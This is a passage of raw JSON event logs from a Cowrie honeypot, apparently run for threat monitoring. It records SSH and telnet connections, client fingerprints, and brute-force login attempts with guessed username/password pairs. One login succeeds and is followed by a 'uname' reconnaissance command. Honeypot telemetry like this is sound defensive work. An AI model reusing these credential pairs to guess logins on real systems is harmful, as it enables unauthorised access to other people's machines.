sh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:54.303779Z","src_ip":"91.92.40.36","session":"073a76ffa429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26314,"dst_ip":"159.203.135.109","dst_port":22,"session":"af767bea6888","protocol":"ssh","message":"New connection: 91.92.40.36:26314 (159.203.135.109:22) [session: af767bea6888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:58.298976Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test12345","message":"login attempt [ubuntu/test12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:58.623277Z","src_ip":"91.92.40.36","session":"073a76ffa429","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:58.685820Z","src_ip":"91.92.40.36","session":"af767bea6888","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:58.690542Z","src_ip":"91.92.40.36","session":"af767bea6888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:00.909824Z","src_ip":"91.92.40.36","session":"073a76ffa429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rowena","message":"login attempt [admin/rowena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:00.946629Z","src_ip":"91.92.40.36","session":"af767bea6888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:02.456101Z","src_ip":"91.92.40.36","session":"af767bea6888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33954,"dst_ip":"159.203.135.109","dst_port":22,"session":"98495613ae02","protocol":"ssh","message":"New connection: 91.92.40.36:33954 (159.203.135.109:22) [session: 98495613ae02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:08.535223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:08.737351Z","src_ip":"91.92.40.36","session":"98495613ae02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:09.557806Z","src_ip":"91.92.40.36","session":"98495613ae02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33884,"dst_ip":"159.203.135.109","dst_port":23,"session":"9841bbf8b412","protocol":"telnet","message":"New connection: 128.199.8.54:33884 (159.203.135.109:23) [session: 9841bbf8b412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:12.617867Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33990,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b99450267e5","protocol":"ssh","message":"New connection: 91.92.40.36:33990 (159.203.135.109:22) [session: 9b99450267e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:15.913717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:15.920559Z","src_ip":"91.92.40.36","session":"9b99450267e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":45464,"dst_ip":"159.203.135.109","dst_port":22,"session":"b182de49698b","protocol":"ssh","message":"New connection: 77.94.47.83:45464 (159.203.135.109:22) [session: b182de49698b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:16.797999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:16.802236Z","src_ip":"77.94.47.83","session":"b182de49698b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:16.908694Z","src_ip":"77.94.47.83","session":"b182de49698b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:17.081375Z","src_ip":"91.92.40.36","session":"9b99450267e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"070990","message":"login attempt [root/070990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:17.231206Z","src_ip":"77.94.47.83","session":"b182de49698b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"54321","message":"login attempt [guest/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:17.741779Z","src_ip":"91.92.40.36","session":"98495613ae02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:18.342943Z","src_ip":"77.94.47.83","session":"b182de49698b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:20.056087Z","src_ip":"91.92.40.36","session":"98495613ae02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19740,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b823954c3d8","protocol":"ssh","message":"New connection: 91.92.40.36:19740 (159.203.135.109:22) [session: 3b823954c3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:21.241974Z"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"666666","message":"login attempt [nagios/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:21.321362Z","src_ip":"91.92.40.36","session":"9b99450267e5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:21.476509Z","src_ip":"91.92.40.36","session":"3b823954c3d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:21.482428Z","src_ip":"91.92.40.36","session":"3b823954c3d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.59726548194885,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:22.532459Z","src_ip":"128.199.8.54","session":"75d85f135599","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"xuyuhao","password":"xuyuhao","message":"login attempt [xuyuhao/xuyuhao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:23.184462Z","src_ip":"91.92.40.36","session":"3b823954c3d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:23.873243Z","src_ip":"91.92.40.36","session":"9b99450267e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:24.657793Z","src_ip":"91.92.40.36","session":"3b823954c3d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41262,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ce2a155de26","protocol":"ssh","message":"New connection: 91.92.40.36:41262 (159.203.135.109:22) [session: 8ce2a155de26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:29.131719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:29.211451Z","src_ip":"91.92.40.36","session":"8ce2a155de26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:29.332670Z","src_ip":"91.92.40.36","session":"8ce2a155de26","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456789","message":"login attempt [steam/123456789] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:30.214555Z","src_ip":"91.92.40.36","session":"8ce2a155de26","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:31.393052Z","src_ip":"91.92.40.36","session":"8ce2a155de26","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:31.395987Z","src_ip":"91.92.40.36","session":"8ce2a155de26","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:31.969538Z","src_ip":"91.92.40.36","session":"8ce2a155de26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:31.974162Z","src_ip":"91.92.40.36","session":"8ce2a155de26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.465126037597656,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:33.704045Z","src_ip":"128.199.8.54","session":"5e413c4da89a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36258,"dst_ip":"159.203.135.109","dst_port":22,"session":"af097d5320b4","protocol":"ssh","message":"New connection: 91.92.40.36:36258 (159.203.135.109:22) [session: af097d5320b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:36.423643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:36.482100Z","src_ip":"91.92.40.36","session":"af097d5320b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:36.726253Z","src_ip":"91.92.40.36","session":"af097d5320b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":55969,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e560b52b789","protocol":"ssh","message":"New connection: 23.148.145.132:55969 (10.17.0.5:22) [session: 0e560b52b789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:36.761285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:36.765706Z","src_ip":"23.148.145.132","session":"0e560b52b789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-gro